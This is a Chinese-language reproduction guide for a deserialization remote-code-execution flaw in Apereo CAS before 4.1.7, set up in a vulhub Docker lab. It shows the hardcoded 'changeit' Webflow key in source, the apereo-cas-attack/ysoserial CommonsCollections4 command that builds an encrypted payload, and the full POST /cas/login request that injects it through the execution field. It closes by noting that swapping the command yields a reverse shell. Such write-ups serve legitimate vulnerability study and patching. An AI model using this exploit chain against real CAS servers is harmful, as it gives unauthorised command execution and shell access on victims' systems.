漏洞详情
Apereo CAS是一款Apereo发布的集中认证服务平台，常被用于企业内部单点登录系统。其4.1.7版本之前存在一处默认密钥的问题，利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞，进而执行任意命令。
环境搭建
使用vulhub启动漏洞环境
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| cd /root/vulhub/apereo-cas/4.1-rce/
docker-compose up -d
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环境启动后，访问http://your-ip:8080/cas/login即可查看到登录页面。
漏洞复现
漏洞原理是Webflow中使用了默认密钥changeit：
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| public class EncryptedTranscoder implements Transcoder {
private CipherBean cipherBean;
private boolean compression = true;
public EncryptedTranscoder() throws IOException {
BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
bufferedBlockCipherBean.setKeyAlias("aes128");
bufferedBlockCipherBean.setKeyPassword("changeit");
bufferedBlockCipherBean.setNonce(new RBGNonce());
this.setCipherBean(bufferedBlockCipherBean);
}
// ...
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我们使用Apereo-CAS-Attack来复现这个漏洞。使用ysoserial的CommonsCollections4生成加密后的Payload：
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| java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success"
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然后登录CAS并抓包，将Body中的execution值替换成上面生成的Payload发送：
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| POST /cas/login HTTP/1.1
Host: your-ip
Content-Length: 2287
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://your-ip:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://your-ip:8080/cas/login
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: JSESSIONID=24FB4BAAE1A66E8B76D521EE366B3E12; _ga=GA1.1.1139210877.1586367734
Connection: close
username=test&password=test<=LT-2-gs2epe7hUYofoq0gI21Cf6WZqMiJyj-cas01.example.org&execution=[payload]&_eventId=submit&submit=LOGIN
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进入容器，可见touch /tmp/success已成功执行：
反弹shell只需将touch /tmp/success替换即可